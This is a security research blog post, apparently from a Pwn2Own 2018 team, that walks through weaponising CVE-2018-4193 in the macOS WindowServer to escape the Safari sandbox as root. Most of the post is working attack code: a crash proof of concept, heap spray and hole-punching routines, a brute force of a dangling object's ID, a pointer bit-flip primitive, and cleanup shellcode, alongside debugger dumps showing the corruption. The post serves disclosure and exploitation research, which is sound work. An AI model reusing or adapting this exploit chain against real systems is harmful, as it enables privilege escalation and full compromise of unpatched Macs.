As the sixth and final post of our Pwn2Own 2018 series, we document the long and twisted road of weaponizing CVE-2018-4193 to exploit the macOS WindowServer. Serving as a memory-corruption based privilege escalation to root, this was used as a zero-day to escape the Safari sandbox on macOS 10.13.3.

First, we will describe the constraints of our discovered vulnerability. We then cover the tools and techniques used to discover interesting corruption targets compatible with our vulnerability, followed by a detailed walkthrough of the exploit as developed for Pwn2Own 2018. Finally, we publish the source to our complete exploit at the end of the post, offering a challenge and reward for the community to build a better exploit.

Demonstrating the standalone macOS 10.13.3 WindowServer privilege escalation to root (~90s)

Proof-of-Concept

In the previous post, our in-process WindowServer fuzzer discovered a bug that we speculated could lead to an exploitable Out-of-Bounds (OOB) Write. The root cause of this vulnerability was attributed to a classic signed/unsigned comparison issue in the function _CGXRegisterForKey(), a mach message handler in the macOS WindowServer.

To better study any crash (or otherwise abnormal program behavior), the first step should always be to build a reliable and minimized Proof-of-Concept (PoC). The code provided below constitutes a minimal, standalone, PoC we built to demonstrate the discovered vulnerability:

// CVE-2018-4193 Proof-of-Concept by RET2 Systems, Inc.
// compiled with: clang -framework Foundation -framework Cocoa poc.m -o poc

#import <dlfcn.h>
#import <Cocoa/Cocoa.h>

int (*CGSNewConnection)(int, int *);
int (*SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);

void resolve_symbols()
{
    void *handle_CoreGraphics = dlopen(
        "/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics",
        RTLD_GLOBAL | RTLD_NOW
    );
    void *handle_SkyLight = dlopen(
        "/System/Library/PrivateFrameworks/SkyLight.framework/SkyLight",
        RTLD_GLOBAL | RTLD_NOW
    );

    CGSNewConnection = dlsym(handle_CoreGraphics, "CGSNewConnection");
    SLPSRegisterForKeyOnConnection = dlsym(handle_SkyLight, "SLPSRegisterForKeyOnConnection");

    dlclose(handle_CoreGraphics);
    dlclose(handle_SkyLight);
}

int main()
{
    int cid = 0;
    uint32_t result = 0;

    printf("[+] Resolving symbols...\n");
    resolve_symbols();

    printf("[+] Registering with WindowServer...\n");
    NSApplicationLoad();

    result = CGSNewConnection(0, &cid);
    if(result == 1000)
    {
        printf("[-] WindowServer not yet initialized... \n");
        return 1;
    }

    ProcessSerialNumber psn;
    psn.highLongOfPSN = 1;
    psn.lowLongOfPSN = getpid();

    printf("[+] Triggering the bug...\n");
    uint32_t BUG = 0x80000000 | 0x41414141;
    result = SLPSRegisterForKeyOnConnection(cid, &psn, BUG, 1);

    return 0;
}

Besides minor bootstrapping necessary to communicate with the WindowServer, the PoC is as simple as calling SLPSRegisterForKeyOnConnection(), a function exported by the SkyLight private framework, with a maliciously crafted parameter we have named BUG.

When SLPSRegisterForKeyOnConnection() is called from any user process, a mach_msg is sent over the mach IPC to the WindowServer where the message is acted upon by the buggy handler _XRegisterForKey(). This is an API that we can call freely from the sandboxed (but compromised) instance of Safari:

A high level depiction of the mach IPC between Safari and the WindowServer

Compiling and running the PoC as an unprivileged user will instantly crash the WindowServer which is running outside of the Safari Sandbox as a root-level system service:

markus-mac-vm:poc user$ clang -framework Foundation -framework Cocoa poc.m -o poc
markus-mac-vm:poc user$ ./poc
[+] Registering with WindowServer...
[+] Resolving symbols...
[+] Triggering the bug...

The crash produced by our new PoC mirrors what we saw while replaying bitflips in the previous post. A crashing Out-of-Bounds Read that could lead to a write under the right conditions.

Process 77180 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (address=0x7fd68940f7d8)
    frame #0: 0x00007fff55c6f677 SkyLight`_CGXRegisterForKey + 214
SkyLight`_CGXRegisterForKey:
->  0x7fff55c6f677 <+214>: mov    rax, qword ptr [rcx + 8*r13 + 0x8]
    0x7fff55c6f67c <+219>: test   rax, rax
    0x7fff55c6f67f <+222>: je     0x7fff55c6f6e9            ; <+328>
    0x7fff55c6f681 <+224>: xor    ecx, ecx
Target 0: (WindowServer) stopped.

In the next section we will discuss some of the caveats that make this WindowServer vulnerability difficult to exploit.

Vulnerability Constraints

At first glance, this vulnerability appeared to be quite nice for an exploit. It is a relatively shallow bug (easy to trigger) and provides a rough write capability through an Out-of-Bounds index that we have full control over. But we can only specify a malicious index, and don’t really control the data that will be written:

A write of unknown values (r15, ecx) can occur at the attacker controlled Out-of-Bounds index

Taking a closer look at the codepath to perform the write, we found that it was constrained by the following properties:

  1. The write will be coarse, as it 24 byte aligned (eg, index*24)
  2. There are two pre-conditions (constraints) that must be met to trigger the write codepath
  3. We have little control over the values that will get written

The first property (24 byte alignment) can be explained by the fact that the attacker controlled index is normally used to index into an array of six (unknown) structures which have a size of 24 bytes. This isn’t much of an issue.

The second property proved to be the biggest headache, requiring the memory around our Out-of-Bounds index to meet certain constraints to perform the write. These constraints are detailed by the pseudocode diagram below:

Two constraints make triggering the Out-of-Bounds Write non-trivial

The third property of this vulnerability was that we don’t have much control over the values being written to our target. Specifically, this codepath is normally used to store a heap pointer into an unknown structure. The code also stores a DWORD directly after the pointer field, which happens to be our ConnectionID (CID) to the WindowServer.

Due to the nature of these constraints, discovering interesting and compatible corruption targets (objects, allocations) for this bug would prove to be non-trivial.

Corruption Methodology

Our first approach was to survey the WindowServer and its sandbox-accessible interface for interesting objects that we could allocate and massage to satisfy the constraints required to trigger our write against. We identified a few candidate structures, but they mostly failed to provide interesting adjacent fields to corrupt.

Massaging the internal state of a WindowServer object to meet our constraints (orange)

This effort was misguided as it focused too heavily on fulfilling the necessary constraints, paying little attention to what would actually get corrupted. Relatively quickly, we abandoned this strategy in favor of the second approach.

The second strategy was built on the assumption that using some WindowServer heap Feng Shui, we would be able to place any interesting allocation directly after an attacker controlled allocation ending with the constraints necessary to satisfy our write codepath. When aligned, the adjacent allocations would look something like this:

Carefully aligning an attacker controlled allocation (to fulfill write constraints) flush with a victim allocation

Assuming we could locate this threshold in memory, we would be able to target this pattern with our Out-of-Bounds Write. A successful triggering of the bug at this location would overwrite the first four (or twelve) bytes of presumably any victitm allocation (an ‘interesting’ object) in the WindowServer:

Corrupting the first DWORD of an adjacent allocation with our ConnectionID (CID)

At this point, we also learned that the macOS usermode heap implementation is based on the Hoard allocator. In Hoard-style heaps, there is no heap metadata between allocations. Since the WindowServer objects will be flush with each other on the heap, our cross-chunk corruption becomes far more interesting.

DBI Guided Exploitation

To accelerate the search for interesting cross-chunk corruption targets, we again turned towards using dynamic binary instrumentation (DBI) solutions. Repurposing parts of the in-process fuzzer we discussed last post, we wrote a new instrumentation script to simulate cross-chunk corruption against random heap allocations.

The first step was to track WindowServer heap allocations using Frida. We based our malloc/realloc hooking code on an existing gist, modifying it to record the address, size, and callstack of every allocation:

Interceptor.attach(Module.findExportByName(null, 'malloc'),
{
    onEnter: function (args) {
        while (lock == "free" || lock == "realloc") { Thread.sleep(0.0001); }
        lock = "malloc";
        this.m_size = args[0].toInt32();
    },

    onLeave: function (retval) {
        console.log("malloc(" + this.m_size + ") -> " + hexaddr(retval));
        allocations[retval] = this.m_size;
        var callstack = "\n" + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join("\n") + "\n";
        callstacks[retval] = callstack;
        lock = null;
    }
});

Likewise, we hooked free to drop references to allocations we were tracking as they were released:

Interceptor.attach(Module.findExportByName('libSystem.B.dylib', 'free'),
{
    onEnter: function (args) {
        while (lock == "malloc" || lock == "realloc"){ Thread.sleep(0.0001); }
        lock = "free";
        this.m_ptr = args[0];
    },

    onLeave: function (retval) {
        console.log("free(" + hexaddr(this.m_ptr) + ")");
        delete allocations[this.m_ptr];
        lock = null;
    }
});

With basic heap tracking in place, the last step was to simulate the cross-chunk corruption.

At random intervals (every ~10 seconds) our instrumentation script would stop to survey all living allocations (that it was aware of) and randomly corrupt the first DWORD of a small selection of said allocations:

function CorruptRandomAllocations() {
    for(var address in allocations) {
        var target = ptr(address)

        // blacklist certain allocations from being corrupted (unusable crashes)
        if(callstacks[target] == undefined) { continue; }
        if(callstacks[target].includes("dlopen")) { continue; }
        if(callstacks[target].includes("Metal")) { continue; }
        // ... more

        // only corrupt some allocations
        if(Math.floor(Math.random() * 25) != 1) { continue; }

        // save the allocation contents before corruption for crash logging
        corrupted_contents[target] = hexdump(target, {
          offset: 0,
          length: allocations[address],
          header: true,
          ansi: false
        });
        corrupted_callstacks[target] = callstacks[target]
        
        console.log("Corrupting " + hexaddr(address))
        Memory.writeU32(target, 0x4141414F);
    }
}

By corrupting the first DWORD of random allocations, we expected the WindowServer to crash in new and interesting ways. The existing fuzzing harness would log these crashes, along with the callstacks + contents of the allocations we corrupted during each run.

Ideally, we hoped to find an object or allocation that started with a pointer which we could partially corrupt and point back into data that we control. By forcing a dangling pointer on some object, we were hopeful it would lead to new and less constrained primitives.

Tagged Pointers

It is well known that an attacker who has complete control over the contents of a dangling Objective-C object can achieve code execution through an Objective-C method call. This has been documented in Phrack, and exploited by KEEN (among others) in the past.

But in a bizarre and unfortunate coincidence, we discovered during our simulated corruption fuzzing that our partial overwrite value (a WindowServer ConnectionID) always had its bottom two bits set:

On macOS, the bottom two bits of *every* mach port number are always set

The origin of the ConnectionID’s bottom two bits appear to be an artifact of a masking operation in the XNU mach port creation code. We couldn’t discern any defined functionality involving the bottom two bits of a mach port being set, and think it may actually be a bug, albeit harmless.

The problem is that within Objective-C / CoreFoundation internals, the bottom bit of a ‘pointer’ indicates whether it should be handled as a real memory pointer that can be dereferenced, or a ‘tagged pointer’ which stores object data inline. Partially corrupting any Objective-C pointer with our cross-chunk primitive always turned it into a tagged pointer:

Partially overwriting an Objective-C pointer with the a WindowServer ConnectionID

Setting the bottommost bit fundamentally changes how the ‘pointer’ (now an inline object) is operated upon by the Objective-C runtime. This alone rendered the dangling objc_msgSend() technique of achieving easy code-execution inaccessible to us via simple cross-chunk corruption.

It is at this point that we began to recognize how precarious this vulnerability would be to exploit. With no way to otherwise misalign our write, we were forced to target non-CoreFoundation pointers with our corruption instead.

HotKey Objects

Returning to the bucketed crashes produced by our simulated corruption ‘fuzzing’, we discovered WindowServer HotKey objects as a candidate allocation to target with our cross-chunk corruption.

On macOS, the WindowServer appears to manage hotkeys registered by running applications. Internally, the WindowServer HotKey objects are maintained as a linked list. The first field of a HotKey structure happens to be a pointer to the previously created hotkey (eg, hotkey->next).

(lldb) x/30gx 0x7fd186200ba0
0x7fd186200ba0: 0x00007fd15cfa8730 0x00007fd1f7d1f590 \
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134  \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000   +- HotKey object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730  /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /

By grooming a HotKey allocation directly after an attacker controlled allocation, we would be able to corrupt the lower four bytes of its hotkey->next pointer with our ConnectionID. Through the use of heap spraying, the partially corrupted pointer may now point into attacker controlled data:

Corrupting the first DWORD of a HotKey object can create a dangling pointer into attacker controlled data

Most importantly, SkyLight exposes a number of APIs to add, remove, view, or manipulate various fields of HotKey objects. Through these APIs, we could already see ways that we would be able to ‘leak’ data through the dangling HotKey, or flip bits to cause further damage to the WindowServer heap in a less constrained manner:

A selection of exposed WindowServer functions that act upon HotKey objects

After some whiteboarding, we established what we thought would be a viable (but convoluted) path towards achieving code execution in time for Pwn2Own. The exploit would require multiple heap sprays, risky cross-chunk heap corruption, and an extremely precise bitflip. We’d be walking on tightropes, but fortune favors the bold.

Plan of Action

Our final sandbox escape exploit can be broken down into five distinct phases:

  1. Leak an address near the base of the WindowServer MALLOC_TINY heap (using our vuln)
  2. Create a dangling HotKey through careful grooming & targeted cross-chunk corruption (using our vuln)
  3. Corrupt a CFStringRef pointer using the dangling HotKey object
  4. Employ the objc_msgSend() technique to hijack control flow, and achieve arbitrary code execution
  5. Cleanup, and continuation of execution

The remainder of this post will detail the phases we have outlined above.

Leaking the Heap Layout

The first major phase of our sandbox escape was solely responsible for leaking information about the layout of the WindowServer heap. While this was not strictly necessary, using a leaked heap pointer provided some situational awareness to improve the speed and reliability of our exploit.

This phase starts by spraying approximately 500,000 CFString objects into the MALLOC_TINY heap of the WindowServer using CGSSetConnectionProperty():

    for(int i = start; i < end; i++)
    {
        CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, spray_id, i);
        CGSSetConnectionProperty(g_cid, g_cid, key_name, corruptor_cfs);
        CFRelease(key_name);
        if(i % 1000000 == 0 && i) { printf("[*] - Completed %u\n", i); }
    }

The sprayed strings are filled almost exclusively with NULL bytes, with the exception of one [ 0x400 ] DWORD in the middle of each sprayed string. Fulfilling the [ 0x400 ] [ 0x0000000000000000 ] constraint, this effectively creates a little ‘hook’ that our Out-of-Bounds Write can catch on without causing any unintended damage.

(lldb) x/124gx 0x7ff0b7910160 --force
0x7ff0b7910160: 0x001dffff91812551 0x0000000100000788
0x7ff0b7910170: 0x00000000000003c6 0x0000000000000000
0x7ff0b7910180: 0x0000000000000000 0x0000000000000000
...
0x7ff0b7910500: 0x0000000000000000 0x0000000000000000
0x7ff0b7910510: 0x0000000000000000 0x0000040000000000 <-- 'hook' to catch a write
0x7ff0b7910520: 0x0000000000000000 0x0000000000000000
0x7ff0b7910530: 0x0000000000000000 0x0000000000000000

Starting from the arbitrarily chosen (but buggy) index of 0xFFEDFFC0, our exploit will attempt to trigger the bug multiple times through SLPSRegisterForKeyOnConnection() while incrementing the buggy index up. We do this until we catch onto one of these ‘hooks’ and the write succeeds, effectively ‘corrupting’ a string we sprayed:

    current_index = starting_index + i;
    result = SLPSRegisterForKeyOnConnection(g_cid, &psn, current_index, 1);
    printf("[*] Attempted buggy write @ 0x%08X: %u\n", current_index, result);
    
    // a non-zero return code means the write did not occur
    if(result)
        continue;

Dumping the corrupted allocation with lldb, we confirmed that a successful triggering of the vulnerability would write the ‘unknown heap pointer’ + ConnectionID into one of our sprayed connection properties.

(lldb) x/124gx 0x7ff0b7910160 --force
0x7ff0b7910160: 0x001dffff91812551 0x0000000100000788
0x7ff0b7910170: 0x00000000000003c6 0x0000000000000000
0x7ff0b7910180: 0x0000000000000000 0x0000000000000000
...
0x7ff0b7910500: 0x0000000000000000 0x0000000000000000
0x7ff0b7910510: 0x0000000000000000 0x0000040000000000 <-- 'hook' to catch a write
0x7ff0b7910520: 0x00007ff0b9438e20 0x0000000000007313 <-- [unknown_ptr (8 bytes)] [CID (4 bytes)]
0x7ff0b7910530: 0x0000000000000000 0x0000000000000000

Using the CGSCopyConnectionProperty() API from CoreGraphics, we were able to request each of the sprayed connection property strings back from the WindowServer. By searching the contents of each string, our exploit will eventually discover the corrupted property containing the leaked pointer:

    for(int i = start; i < end && found < length; i++)
    {
        // request a connection property back from the windowserver
        CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, LEAK_SPRAY_ID, i);
        CGSCopyConnectionProperty(g_cid, g_cid, key_name, &valuePtr);
        CFRelease(key_name);

        // convert the received string to raw bytes
        CFStringGetBytes(valuePtr, range, kCFStringEncodingISOLatin1, 0, true, (UInt8*)key_value, CORRUPTOR_SIZE, &got);
        CFRelease(valuePtr);

        // check for the presence of a leak
        leak = ((uint64_t*)&key_value[CORRUPTOR_SIZE-6-24]);
        if(*leak != 0)
        {
            *leaked = *leak;
            keys[found++] = (uint32_t)i;
        }
    }

While we didn’t have time to research the true purpose of this pointer, we noted that it gave us a rough idea as to where the end of the MALLOC_TINY heap was in a fresh WindowServer instance. We also noticed that the MALLOC_TINY heap rather deterministically ‘expands backwards’ in chunks of ~256mb.

This assumption allowed us to predict where our exploit’s allocations were going relative to the leaked pointer, allowing us to compute the approximate tip of our sprayed data:

Using the vulnerability plus a heap spray during phase one to leak a heap pointer

With some knowledge of the heap layout and its deterministic growth, we could move on to performing some more nefarious memory corruption with our vulnerability.

HotKey Feng Shui

The goal for phase two of the exploit was to partially corrupt a WindowServer HotKey pointer such that we could point it somewhere within heap data that we could arbitrarily control. This would require a sequence of carefully choreographed heap manipulations, followed by a risky stab at cross-chunk corruption to create a dangling HotKey pointer.

This phase begins by using the heap pointer (leaked in phase one) to compute an ideal spray size (~1-4gb) for phase two. The spray size is computed to cover the address we expect the dangling HotKey pointer to land within. This was based on the assumption that we would allocate corruptable HotKey objects half way through this spray.

The leaked heap pointer helped us to predict when to allocate objects in phase two

Just like phase one, phase two sprays mostly NULL connection property strings. Halfway through this spray, our exploit will stop to inspect the heap in an attempt to identify property strings that are allocated directly adjacent to each other. It was critical to locate adjacent value allocations (eg, no key string between them), because this is the boundary which we will perform our cross-chunk corruption over.

Having identified a few adjacent allocation pairs, we free the later of each pair using CGSSetConnectionProperty(), but with a NULL value parameter. This would effectively free the specified connection property value allocation in the WindowServer, ‘punching holes’ into the heap:

void punch_hotkey_holes(unsigned int * hotkey_keys, size_t length)
{
    for(int i = 0; i < length; i++)
    {
        // we want to punch a hole AFTER the string we probed (hence +1)
        int hole_index = hotkey_keys[i] + 1;
        CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, HOTKEY_SPRAY_ID, hole_index);
        CGSSetConnectionProperty(g_cid, g_cid, key_name, NULL);
        CFRelease(key_name);
    }
}

Punching holes in the the first half of the Phase Two NULL string spray

After freeing a few carefully chosen NULL string chunks, our exploit would immediately begin creating HotKey objects, hoping to fill in one or more of the holes we punched:

void create_hotkeys()
{
    for(int i = 1; i < 0x4000; i++)
        CGSSetHotKey(g_cid, i, 0x4242, 0x4343, 0xBE0000);
}

If performed correctly, the heap should now have a HotKey object placed directly after our chosen connection property allocation. The annotated lldb dump below shows the threshold between these two allocations, which are now ready for our cross-chunk corruption.

(lldb) x/30gx 0x7fd186200b00
...
0x7fd186200b50: 0x0000000000000000 0x0000000000000000 ... (attacker controlled string)
0x7fd186200b60: 0x0000000000000000 0x0000000000000000 
0x7fd186200b70: 0x0000000000000000 0x0000040000000000 <-- probe hook
0x7fd186200b80: 0x00007fd1f981b7d0 0x0000000000005413
0x7fd186200b90: 0x0000040000000000 0x0000000000000000 <-- cross-chunk corruption hook
>---------------------------------------------------<
0x7fd186200ba0: 0x00007fd15cfa8730 0x00007fd1f7d1f590 \
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134  \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000   +- HotKey object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730  /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /

Before performing the cross-chunk corruption to create a dangling HotKey pointer, our exploit will complete the second half of the phase two NULL string spray. This ensures that the address that we predict the dangling pointer will point at (once corrupted) is a valid heap address.

Once both phase two sprays are complete, we use our vulnerability with a carefully computed index to target the ‘cross-chunk corruption hook’ in the lldb dump provided above. The buggy write crosses the end of our allocation, corrupting the first DWORD of the HotKey object with our ConnectionID.

(lldb) x/30gx 0x7fd186200b00
...
0x7fd186200b40: 0x0000000000000000 0x0000000000000000 ... (attacker controlled string)
0x7fd186200b50: 0x0000000000000000 0x0000000000000000
0x7fd186200b70: 0x0000000000000000 0x0000040000000000 <-- probe hook
0x7fd186200b80: 0x00007fd1f981b7d0 0x0000000000005413
0x7fd186200b90: 0x0000040000000000 0x00007fd1f981b7d0 <-- cross-chunk corruption hook
>---------------------------------------------------<
0x7fd186200ba0: 0x00007fd100005413 0x00007fd1f7d1f590 \<-- corrupted 0x00007fd1[00005413]
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134  \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000   + HotKey Object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730  /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /

This cross-chunk corruption has changed hotkey->next from 0x7fd15cfa8730 to 0x7fd100005413. Through the use of a partial overwrite, we have forced the creation of a dangling HotKey pointer.

Though long and arduous, we are almost done with phase two. The WindowServer heap now looks something like this:

The layout of the WindowServer heap at the end of phase two

The last step is to locate precisely which sprayed NULL string allocation our dangling HotKey has overlapped with.

Using the API CGSSetHotKeyEnabled(), we attempt to enable the dangling HotKey (which has an ID of 0). This API would flip a single bit in the dangling HotKey allocation, ‘corrupting’ one of our sprayed NULL strings.

(lldb) x/10gx 0x00007fd100005413
0x7fd100005413: 0x0000000000000000 0x0000000000000000
0x7fd100005423: 0x0000000000000000 0x0000000000000000
0x7fd100005433: 0x0000000000000001 0x0000000000000000 <-- hotkey->enabled
0x7fd100005443: 0x0000000000000000 0x0000000000000000
0x7fd100005453: 0x0000000000000000 0x0000000000000000

Finally, we make use of CGSCopyConnectionProperty() again to retrieve individual sprayed property strings from the WindowServer. Eventually, the exploit would locate the string containing a single flipped bit. We have now identified which sprayed allocation the dangling HotKey overlaps.

Array Feng Shui

The third phase is equally as tedious as the previous. With a dangling HotKey in hand, our objective was to allocate something ‘interesting’ underneath it. If done properly, we could at least corrupt a single bit or leak some information out from under the dangling HotKey. This proved non-trivial for a number of reasons:

  • The dangling HotKey will always be aligned to an odd memory address (eg, 0xXXXXXXXXXX13)
  • The next field (a pointer) in our dangling HotKey must be NULL (or an otherwise valid pointer)
  • CGSSetHotKeyEnabled() flips the 24th bit (0x1000000) when viewed from 8 byte alignment

For the sake of brevity, we found that a well crafted, carefully allocated, and precisely aligned CFMutableArray filled with ‘interesting’ CFStringRef pointers could both satisfy the constraints of the overlaid HotKey while teasing out a path towards hijacking code execution.

If overlaid properly, this is how each respective allocation would appear in memory:

(lldb) x/30gx 0x7fd1000053f0
0x7fd1000053f0: 0x001dffff91812a79 0x0000000100001384 \ 
0x7fd100005300: 0x0000000000000018 0x0000000000000000  \
0x7fd100005410: 0x0000000000000000 0x0000000000000000   \
0x7fd100005420: 0x00000001bd7bb000 0x0000000000434335    |
0x7fd100005430: 0x00000001bd7bb000 0x0000000000434335    |
0x7fd100005440: 0x00000001bd7bb000 0x0000000000434335    |
0x7fd100005450: 0x0000000000434335 0x00000001bd7bb000    | 
0x7fd100005460: 0x00000001bd7bb000 0x0000000000434335    +- CFMutableArray
0x7fd100005470: 0x0000000000434335 0x0000000000434335    |
0x7fd100005480: 0x0000000000434335 0x0000000000434335    |
0x7fd100005490: 0x0000000000434335 0x0000000000434335    |
0x7fd1000054a0: 0x0000000000434335 0x0000000000434335    |
0x7fd1000054b0: 0x0000000000434335 0x0000000000434335   /
0x7fd1000054c0: 0x0000000000434335 0x0000000000434335  /
0x7fd1000054d0: 0x0000000000434335 0x0000000000434335 /

(lldb) x/10gx 0x7fd100005413
0x7fd100005413: 0x0000000000000000 0x7bb0000000000000 \ 
0x7fd100005423: 0x43433500000001bd 0x7bb0000000000000  \
0x7fd100005433: 0x43433500000001bd 0x7bb0000000000000   +- dangling hotkey
0x7fd100005443: 0x43433500000001bd 0x4343350000000000  /
0x7fd100005453: 0x7bb0000000000000 0x7bb00000000001bd /

Noting that these separate memory dumps depict the same range of addresses, we have provided an additional visual representation to help explain their unique alignment when overlaid:

A byte level representation of the overlaid allocations, and their respective fields of interest

We have effectively overlaid the hotkey->next field of our dangling HotKey with two NULL fields in the CFMutableArray header. We have also crafted the array such that a CFStringRef entry is underneath the single bit we can toggle on or off via CGSSetHotKeyEnabled().

This precise alignment will allow us to corrupt a CFStringRef member pointer within the CFMutableArray.

CFStringRef Corruption

Before corrupting the overlaid CFStringRef pointer, we first had to identify the ‘new’ ID for our dangling HotKey. We need a HotKey ID to make use of the CoreGraphics/SkyLight APIs, and the dangling HotKey ID has changed away from ID 0 because hotkey->id was overlaid with part of the array contents.

The solution was to bruteforce the hotkey->id field (~12bit bf) which overlaps with the bottom 3 bytes of a CFStringRef pointer within the array structure. We used the CGSGetHotKey() API to bruteforce the dangling HotKey ID until it until it returns a successful result code:

for(uint64_t i = 0; i < 0x1000; i++)
{
    bf_hotkey_id = i << 52;
    result = CGSGetHotKey(g_cid, bf_hotkey_id, &leak1, &leak2, &leak3);
    if(result == 0)
    {
        printf("[+] Found overlaid hotkey id 0x%llx\n", bf_hotkey_id);
        *hotkey_id = bf_hotkey_id;
        break;
    }
}

Conveniently this API also returns some of the HotKey fields as various integers. This ‘leaks’ some data from underneath the dangling HotKey. By stitching together leak1 and leak3, we could actually reconstruct a CFStringRef pointer (allocated in the MALLOC_LARGE heap) from the the overlaid CFMutableArray:

//
// we only use this leak to determine whether we should flip
// the bit in an string pointer one way or another.
//

*big_heap_leak = (((uint64_t)leak1 << 24) | leak3 >> 8);

In this example, we have found that reconstructed pointer is 0x1BD7BB000. Since the 24th bit is already set, we must disable the dangling HotKey to corrupt the pointer. This corruption changes the CFStringRef pointer from 0x1BD7BB000 to 0x1BC7BB000.

bool corrupt_cf_ptr(uint64_t hotkey_id, uint64_t big_heap_leak)
{

    //
    // flip a single bit (0x00000001000000) in a CFStringRef pointer
    // laid beneath our 'dangling' hotkey
    //

    bool flip = (big_heap_leak & 0x1000000) == 0x1000000;
    printf("[*] Corrupting %p --> %p\n", (void*)big_heap_leak, (void*)(big_heap_leak ^ 0x1000000));
    return CGSSetHotKeyEnabled(g_cid, hotkey_id, flip) == 0;
}

We have finally corrupted an Objective-C pointer.

Code Execution

In the process of grooming a CFMutableArray under our dangling HotKey (phase three), we were simultaneously spraying huge string objects into WindowServer’s MALLOC_LARGE heap. These large strings (pointed to by the CFStringRef members) contained our final ROP chain and fake Objective-C ISA’s.

By flipping a single high bit in a CFStringRef pointer during phase three, the corrupted pointer has been misaligned to point at fake Objective-C string structures that we sprayed:

A final depiction of our exploit, its multiple sprays, and chaining of corruptions

From here, we simply freed the corrupted CFStringRef by freeing its parent CFMutableArray. Our exploit will hijack control flow using the objc_msgSend() technique outlined in Phrack.

We achieved arbitrary ROP through a bespoke COP gadget, followed by some relatively normal ROP & JOP. The ROP chain proceeds to map a page of RWX shellcode before jumping to it, leading to arbitrary code execution in the WindowServer system service, thus escaping the Safari sandbox.

Continuation of Execution

Often omitted from these types of writeups, the final phase of our Pwn2Own exploit ensured the continuation of execution of the exploited service. Since WindowServer is a core system service responsible for drawing the user desktop, it is imperative that the exploit does not crash the service after providing a root shell.

We use our shellcode to carefully clean up some of the damage caused to the WindowServer process over the course of our exploit. Our effort in this phase was minimal, simply neutering the pointer to our connection’s property dictionary and HotKey chain in an effort to minimize the effects of any collateral damage we caused to their other allocations.

; compiled with: nasm shellcode.asm

BITS 64

_start:
    add     rsp, 0x10000
    mov     r15, rax
    mov     [r15+0x3F00], r15           ; save the address of our shellcode

repair_objc:
    mov     rbx, [r15+0x3F28]
    sub     rbx, 0x75
    sub     byte [rbx], 0x70

repair_ws:
    mov     rdi, [r15+0x3F08]           ; ConnectionID
    call    [r15+0x3F10]                ; call CGXConnectionForConnectionID
    xor     r14, r14
    mov     [rax+144], r14              ; nuke HotKey pointer
    mov     [rax+160], r14              ; nuke Property Dictionary

resume_ws:
    lea     rbx, [r15+0x3F18]           ; ptr to _get_default_connection_tls_key_key
    mov     rbx, [rbx]
    xorps   xmm1, xmm1
    jmp     [r15+0x3F20]                ; jmp SLXServer

; Pseudo DATA section at 0x3F00
; 0x3F00: [shellcode pointer]
; 0x3F08: [ConnectionID]
; 0x3F10: [CGXConnectionForConnectionID]
; 0x3F18: [_get_default_connection_tls_key_key]
; 0x3F20: [SLXServer Loop]
; 0x3F28: [SEL_release]

Having removed the root references to our malformed allocations, the shellcode attempts to return the hijacked control flow back to the main mach message processing loop at the bottom of WindowServer’s SLXServer() routine:

This 1-block infinite loop is the root of the WindowServer mach message handling thread

This proved enough to reliably restore WindowServer to a stable state, achieving continuation of execution and leaving the victim to be none-the-wiser of the exploit that just landed on their system.

Exploit Stats

The vulnerability used in this exploit (CVE-2018-4193) was discovered on February 16, 2018. Like the JavaScriptCore exploit, this vulnerability also took approximately 100 man-hours to study, weaponize, and stabilize from discovery.

In our testing leading up to Pwn2Own 2018, we measured the success rate of our full-chain at approximately 85% across 1000+ runs on a 13 inch, i5, 2017 MacBook Pro, automatically rebooted between each attempt.

A screenshot from a simple test harness put together to throw, log, and monitor the success of our exploit chain

Our sandbox escape was less than ideal. The bulk of our exploit failures could be attributed to issues grooming the WindowServer heap. On average, the full-chain (Safari+Sandbox) took upwards of 90+ seconds to run, most of which is spent massaging the WindowServer heap. The sandbox escape was lovingly named Eternal Groom.

Further Research

With a deeper understanding of WindowServer internals and the macOS heap, we are reasonably confident this vulnerability can be exploited with higher reliability and significantly lower exploit complexity. While functional, the approach we detailed in this post was naïve at best.

To satisfy a lasting itch of curiosity, we eagerly want to see somebody do better and will award a single Binary Ninja Commercial License (MSRP $599) to the first researcher who publishes an exploit that meets the following criteria:

  • Exploits the WindowServer on macOS 10.13.3 using only CVE-2018-4193
  • Achieves WindowServer code execution in less than 10 seconds
  • Doesn’t crash the WindowServer
  • Succeeds with a 90% or greater reliability

To provide better educational resources for the community, we require that you release a blogpost of the revised exploit & publish your code to claim the prize. The terms of this challenge will expire on January 1st, 2019 or upon the first successful redemption. Please contact us prior to publication if you have any concerns.

We have published our own Pwn2Own 2018 exploit code on GitHub to promote further research.

EDIT: This contest was succesfully completed by @elvanderb and documented in his talk at OffensiveCon ‘19!

Conclusion

Over the course of this blog series, we referenced the countless public resources we studied, and numerous open source technologies that we employed to evaluate and zero-day a premiere software target. Our exploit was built on the grit and persistence of making impossible ends meet.

There is no secret to hard-work.